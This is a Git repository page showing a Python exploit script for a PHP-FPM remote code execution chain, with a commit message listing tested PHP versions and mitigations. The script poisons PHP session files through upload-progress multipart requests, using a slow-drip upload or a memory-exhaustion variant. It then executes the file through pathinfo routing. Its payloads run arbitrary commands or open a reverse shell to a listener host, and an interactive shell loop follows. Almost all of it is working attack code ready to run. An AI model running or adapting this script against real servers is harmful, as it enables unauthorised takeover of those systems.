Files
php2shell/nolfi/exploit_nolfi.py
T
neko 8147ce0edb FastCGI auto_prepend_file exploit: RCE without LFI on default PHP config
New exploit at fcgi/exploit_fcgi.py combines the session upload progress
write primitive (CVE-2026-109618/109619) with direct FastCGI access to
PHP-FPM. A slow-drip multipart upload holds one FPM worker in the
multipart parser while a second FastCGI request includes the poisoned
session file via auto_prepend_file.

Works on default PHP configuration, no LFI, no framework, no libraries.
security.limit_extensions does not block auto_prepend_file inclusion.
php_admin_value in pool config does not block PHP_VALUE from raw FastCGI.

Tested and confirmed RCE on:
  PHP 8.3.6  (local, pre-patch)
  PHP 8.3.35 (Docker, pre-patch)
  PHP 8.3.36 (Docker, patched)
  PHP 8.4.27 (Docker, patched)

Mitigated by session.upload_progress.enabled=0 or blocking FPM access.

Also includes nolfi/ exploit (served save_path + pathinfo routing) from
previous work, and updated README with mitigation matrix for all vectors.
2026-10-21 21:19:25 +00:00

591 lines
22 KiB
Python

#!/usr/bin/env python3
"""
CVE-2026-109618 / CVE-2026-109619 — RCE WITHOUT LFI
("served save_path" chain)
Every other exploit in this repo needs an include() primitive in the
application to execute the poisoned session file. This one does not.
It turns the session upload progress write primitive into RCE using only
PHP-FPM request routing:
1. PHP_SESSION_UPLOAD_PROGRESS writes PHP code into
<save_path>/sess_<SID> during multipart parsing. This fires even on
URLs that do not exist (404), because rfc1867 processing happens in
the SAPI POST reader before script dispatch. No session_start(),
no application code involved.
2. If session.save_path lives under a web-served directory, the session
file is directly requestable over HTTP.
3. php-fpm executes the (extension-less) session file when the request
carries PATH_INFO, e.g. GET /sessions/sess_abc123/x.php
— the classic nginx cgi.fix_pathinfo routing. The only gate is
security.limit_extensions, whose compiled default (.php .phar) blocks
it but which is frequently set empty in real deployments. Verified
both ways against php-fpm 8.5 (see nolfi/FINDINGS.md).
4. session.upload_progress.cleanup=1 (default) truncates the file when
the upload finishes, so execution is raced against the upload window
with a slow multipart body. With cleanup=0 the file persists and no
race is needed.
Preconditions (all defaults unless noted):
- session.upload_progress.enabled=1
- PHP-FPM with session.save_path web-served
- security.limit_extensions empty (non-default; common in the wild)
- any PHP-handled URL on the vhost, including 404s
Usage:
python3 exploit_nolfi.py -t http://target/ --probe
python3 exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id'
python3 exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444
"""
import argparse
import io
import os
import re
import socket
import sys
import threading
import time
MARKER = "NOLFIMARK"
DEFAULT_URL_PREFIXES = [
"/sessions",
"/tmp",
"/var/lib/php/sessions",
"/var/lib/php/session",
"/var/lib/php5/sessions",
"/sess",
"/storage/sessions",
"/files/sessions",
]
# ---------------------------------------------------------------------------
# HTTP helpers (raw sockets, same style as the other exploits)
# ---------------------------------------------------------------------------
def _parse_url(url: str):
from urllib.parse import urlparse
p = urlparse(url)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
if p.query:
path += "?" + p.query
return host, port, tls, path
def _connect(host, port, tls, timeout=10):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def _recv_response(sock, timeout=5):
resp = b""
sock.settimeout(timeout)
try:
while True:
chunk = sock.recv(8192)
if not chunk:
break
resp += chunk
if b"\r\n\r\n" in resp:
hdr_end = resp.index(b"\r\n\r\n") + 4
m = re.search(rb"Content-Length:\s*(\d+)", resp[:hdr_end], re.I)
if m:
cl = int(m.group(1))
while len(resp) - hdr_end < cl:
more = sock.recv(8192)
if not more:
break
resp += more
break
if b"transfer-encoding: chunked" in resp[:hdr_end].lower():
if b"\r\n0\r\n" in resp[hdr_end:]:
break
except socket.timeout:
pass
return resp
def _decode_chunked(data):
out = b""
while data:
line_end = data.find(b"\r\n")
if line_end < 0:
break
try:
n = int(data[:line_end].split(b";")[0].strip(), 16)
except ValueError:
break
if n == 0:
break
out += data[line_end + 2:line_end + 2 + n]
data = data[line_end + 2 + n + 2:]
return out
def _body_of(resp):
if b"\r\n\r\n" not in resp:
return b""
headers, body = resp.split(b"\r\n\r\n", 1)
if b"transfer-encoding: chunked" in headers.lower():
return _decode_chunked(body)
return body
def _status_of(resp):
try:
return int(resp.split(b" ")[1])
except (IndexError, ValueError):
return 0
def _get(host, port, tls, path, cookie=None, timeout=5, keepalive=False):
sock = _connect(host, port, tls)
req = b"GET " + path.encode() + b" HTTP/1.1\r\nHost: " + host.encode() + b"\r\n"
if cookie:
req += b"Cookie: " + cookie.encode() + b"\r\n"
req += b"Connection: close\r\n\r\n"
sock.sendall(req)
resp = _recv_response(sock, timeout)
sock.close()
return _status_of(resp), _body_of(resp)
# ---------------------------------------------------------------------------
# Multipart slow upload (keeps the poisoned session file on disk)
# ---------------------------------------------------------------------------
def slow_poison_upload(host, port, tls, path, sid, php_code, fill=6 << 20,
drip=0.01, result=None):
boundary = b"----NOLFI" + os.urandom(6).hex().encode()
head = (
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
b"\r\n" + php_code + b"\r\n"
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
)
tail = b"\r\n--" + boundary + b"--\r\n"
total = len(head) + fill + len(tail)
try:
sock = _connect(host, port, tls, timeout=60)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n"
b"Content-Length: " + str(total).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n" + head
)
block = b"\x00" * 65000
for _ in range(fill // len(block)):
sock.sendall(block)
time.sleep(drip)
sock.sendall(tail)
_recv_response(sock, timeout=5)
sock.close()
except OSError as e:
if result is not None:
result["error"] = str(e)
def oom_poison_upload(host, port, tls, path, sid, php_code, fields=30000,
fsize=512, result=None):
"""CVE-2026-109618 OOM variant: progress + file part + field flood.
The OOM bailout longjmps past MULTIPART_EVENT_END, so cleanup never
runs and the poisoned session file persists. Requires the OOM body
to fit under post_max_size while exceeding memory_limit headroom.
"""
boundary = b"----NOLFIOOM" + os.urandom(6).hex().encode()
def field(name, value):
return (b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
+ value + b"\r\n")
def file_part():
return (b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
+ b"\x00" * 2048 + b"\r\n")
def chunk(sock, data):
sock.sendall(hex(len(data))[2:].encode() + b"\r\n" + data + b"\r\n")
sent = 0
try:
sock = _connect(host, port, tls, timeout=60)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
chunk(sock, field(b"PHP_SESSION_UPLOAD_PROGRESS", php_code))
chunk(sock, file_part())
batch = b""
for i in range(fields):
batch += field(f"p{i:06d}".encode(), b"X" * fsize)
if len(batch) >= 256 * 1024:
chunk(sock, batch)
sent = i
batch = b""
if batch:
chunk(sock, batch)
try:
sock.sendall(b"0\r\n\r\n")
_recv_response(sock, timeout=8)
except OSError:
pass
sock.close()
except OSError as e:
if result is not None:
result["error"] = str(e)
if result is not None:
result["fields_sent"] = sent
# ---------------------------------------------------------------------------
# Payloads
# ---------------------------------------------------------------------------
def cmd_payload():
return f'<?php echo "{MARKER}:"; system($_GET["c"]); ?>'.encode()
def reverse_shell_payload(lhost, lport):
code = (
f'$s=fsockopen("{lhost}",{lport});'
f'proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);'
)
return f'<?php echo "{MARKER}:"; {code} ?>'.encode()
# ---------------------------------------------------------------------------
# Chain: poison -> probe served dir -> pathinfo execution
# ---------------------------------------------------------------------------
def attempt_prefix(host, port, tls, path, url_prefix, php_code, window,
fill=1 << 25, verbose=True, oom=False, fields=30000,
fsize=512):
"""One attempt against one URL prefix. Returns
("rce", sid, url, text) | ("served", sid, url, None) | None."""
sid = "".join(chr(97 + (os.urandom(1)[0] % 26)) for _ in range(8)) + \
os.urandom(12).hex()
sess_url = f"{url_prefix}/sess_{sid}"
cookie = f"PHPSESSID={sid}"
exec_vectors = ("/x.php", "/index.php", "/a.phar", "/x.phtml")
if oom:
result = {}
if verbose:
print(f" [*] OOM poisoning {sess_url} ...")
oom_poison_upload(host, port, tls, path, sid, php_code,
fields=fields, fsize=fsize, result=result)
time.sleep(1.0)
saw_static = False
try:
status, body = _get(host, port, tls, sess_url, cookie=None,
timeout=5)
if status == 200 and b"upload_progress_" in body:
saw_static = True
if verbose:
print(f" [+] {sess_url} web-served, file persisted "
f"(OOM bailout skipped cleanup)")
except OSError:
pass
if saw_static:
for path_info in exec_vectors:
try:
status, body = _get(host, port, tls, sess_url + path_info,
timeout=6)
text = body.decode(errors="replace")
if MARKER in text:
return ("rce", sid, sess_url + path_info, text)
except OSError:
continue
return ("served", sid, sess_url, None)
if verbose and result.get("error"):
print(f" [!] upload error: {result['error']}")
return None
result = {}
t = threading.Thread(target=slow_poison_upload,
args=(host, port, tls, path, sid, php_code),
kwargs={"result": result, "fill": fill}, daemon=True)
t.start()
time.sleep(0.5)
deadline = time.time() + window
saw_static = False
exec_vectors = ("/x.php", "/index.php", "/a.phar", "/x.phtml")
while time.time() < deadline:
# execution vectors first, raced against the (possibly tiny) window
for path_info in exec_vectors:
try:
status, body = _get(host, port, tls, sess_url + path_info,
timeout=3)
text = body.decode(errors="replace")
if MARKER in text:
return ("rce", sid, sess_url + path_info, text)
except OSError:
continue
# static: served-dir detection (source disclosure of the session file)
try:
status, body = _get(host, port, tls, sess_url, cookie=None,
timeout=3)
if status == 200 and b"upload_progress_" in body:
saw_static = True
if verbose:
print(f" [+] {sess_url} is web-served "
f"(session file source disclosed)")
break
except OSError:
pass
time.sleep(0.005)
t.join(timeout=3)
# post-window calm checks: streaming stacks with cleanup=0 keep the file
try:
status, body = _get(host, port, tls, sess_url, cookie=None, timeout=3)
if status == 200 and b"upload_progress_" in body:
saw_static = True
if verbose:
print(f" [+] {sess_url} is web-served (file persisted "
f"after upload: cleanup=0)")
except OSError:
pass
if saw_static:
for path_info in exec_vectors:
try:
status, body = _get(host, port, tls, sess_url + path_info,
timeout=4)
text = body.decode(errors="replace")
if MARKER in text:
return ("rce", sid, sess_url + path_info, text)
except OSError:
continue
if saw_static:
return ("served", sid, sess_url, None)
return None
def run_cmd(host, port, tls, path, url_prefix, sid, cmd, oom=False,
fields=30000, fsize=512):
"""Re-poison the same SID and execute a command during the window."""
sess_url = f"{url_prefix}/sess_{sid}"
payload = f'<?php echo "{MARKER}:"; system($_GET["c"]); ?>'.encode()
hit = {}
lock = threading.Lock()
def poll(pi):
while True:
if stop.is_set():
return
try:
status, body = _get(host, port, tls,
sess_url + pi + "?c=" + cmd.replace(" ", "+"),
timeout=6)
text = body.decode(errors="replace")
if MARKER in text:
with lock:
if "out" not in hit:
out = text.split(MARKER + ":", 1)[1]
hit["out"] = out.split(
'|a:5:{s:10:"start_time"', 1)[0]
stop.set()
return
except OSError:
continue
if oom:
result = {}
oom_poison_upload(host, port, tls, path, sid, payload,
fields=fields, fsize=fsize, result=result)
stop = threading.Event()
threads = [threading.Thread(target=poll, args=(pi,), daemon=True)
for pi in ("/x.php", "/index.php")]
for th in threads:
th.start()
for th in threads:
th.join(timeout=10)
return hit.get("out")
result = {}
for cycle in range(3 if not oom else 1):
t = threading.Thread(target=slow_poison_upload,
args=(host, port, tls, path, sid, payload),
kwargs={"result": result}, daemon=True)
t.start()
time.sleep(0.3)
stop = threading.Event()
threads = [threading.Thread(target=poll, args=(pi,), daemon=True)
for pi in ("/x.php", "/index.php", "/a.phar", "/x.phtml")]
for th in threads:
th.start()
grace = None
while True:
if stop.is_set():
break
if not t.is_alive():
if grace is None:
grace = time.time() + 1.5
elif time.time() > grace:
break
time.sleep(0.002)
stop.set()
for th in threads:
th.join(timeout=3)
if "out" in hit:
return hit["out"]
return None
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
p = argparse.ArgumentParser(
description="CVE-2026-109618/109619: RCE without LFI "
"(web-served session.save_path + php-fpm pathinfo)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s -t http://target/ --probe
%(prog)s -t http://target/ --url-prefix /sessions --cmd 'id'
%(prog)s -t http://target/ --url-prefix /sessions --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target/ --url-prefix /sessions --cmd 'id' --window 20
""")
p.add_argument("--target", "-t", required=True,
help="Target base URL (any PHP-handled URL on the vhost, "
"404 is fine)")
p.add_argument("--url-prefix", default="",
help="URL prefix that serves session.save_path "
"(e.g. /sessions). Probes defaults if omitted")
p.add_argument("--cmd", help="Command to execute")
p.add_argument("--lhost", help="Listener IP for reverse shell")
p.add_argument("--lport", type=int, help="Listener port for reverse shell")
p.add_argument("--window", type=float, default=12.0,
help="Upload race window in seconds (default 12)")
p.add_argument("--fill", type=int, default=6, help="Upload filler size "
"in MB; must stay under the target post_max_size (default "
"6MB, PHP default post_max_size is 8M)")
p.add_argument("--probe", action="store_true",
help="Only classify the target, do not attack")
p.add_argument("--oom", action="store_true",
help="Use the CVE-2026-109618 OOM bailout for "
"persistence instead of racing the upload window "
"(requires post_max_size > OOM volume and memory "
"headroom)")
p.add_argument("--fields", type=int, default=30000,
help="OOM pressure fields (default 30000)")
p.add_argument("--fsize", type=int, default=512,
help="OOM field size in bytes (default 512)")
p.add_argument("--attempts", type=int, default=3)
args = p.parse_args()
host, port, tls, path = _parse_url(args.target)
scheme = "https" if tls else "http"
print(f"[*] RCE without LFI — served save_path + fpm pathinfo")
print(f"[*] Target: {args.target}")
prefixes = [args.url_prefix] if args.url_prefix else list(DEFAULT_URL_PREFIXES)
fill = args.fill * (1 << 20)
if args.probe:
php_code = cmd_payload()
print(f"[*] Probing {len(prefixes)} candidate URL prefixes "
f"(web-served session dir detection)")
for prefix in prefixes:
r = attempt_prefix(host, port, tls, path, prefix, php_code,
window=args.window, fill=fill, verbose=True,
oom=args.oom, fields=args.fields,
fsize=args.fsize)
if r is None:
print(f" [-] {prefix}: not served")
else:
kind, sid, url, text = r
if kind == "rce":
print(f" [++] {prefix}: EXECUTABLE — {url}")
else:
print(f" [+] {prefix}: served, not executable "
f"(limit_extensions default or non-fpm engine)")
return
if not args.cmd and not (args.lhost and args.lport):
print("[!] Specify --probe, --cmd, or --lhost/--lport")
sys.exit(1)
php_code = (cmd_payload() if args.cmd
else reverse_shell_payload(args.lhost, args.lport))
if args.oom:
print(f"[*] Mode: OOM persistence ({args.fields} x {args.fsize}B "
f"fields)")
else:
print(f"[*] Race window: {args.window}s per prefix, "
f"{len(prefixes)} prefixes")
for attempt in range(1, args.attempts + 1):
for prefix in prefixes:
print(f"[*] Attempt {attempt}/{args.attempts} "
f"against {prefix} ...")
r = attempt_prefix(host, port, tls, path, prefix, php_code,
window=args.window, fill=fill, verbose=True,
oom=args.oom, fields=args.fields,
fsize=args.fsize)
if r is None:
continue
kind, sid, url, text = r
if kind == "rce":
print(f"\n[+] RCE CONFIRMED (no LFI): {url}")
if args.cmd:
out = run_cmd(host, port, tls, path, prefix, sid,
args.cmd, oom=args.oom, fields=args.fields,
fsize=args.fsize)
print(f"[+] {args.cmd}\n{out}" if out is not None
else "[!] exec failed (race lost, retry)")
else:
print(f"[*] Reverse shell payload executed — check "
f"listener on {args.lhost}:{args.lport}")
while True:
try:
c = input("shell> ").strip()
except EOFError:
break
if not c:
continue
out = run_cmd(host, port, tls, path, prefix, sid, c,
oom=args.oom, fields=args.fields,
fsize=args.fsize)
print(out if out is not None else "[!] exec failed")
return
print(f" [+] {prefix}: served but not executable "
f"(session source disclosure only)")
print("[!] No executable prefix found. Precondition likely missing: "
"save_path not web-served, or security.limit_extensions is set.")
if __name__ == "__main__":
main()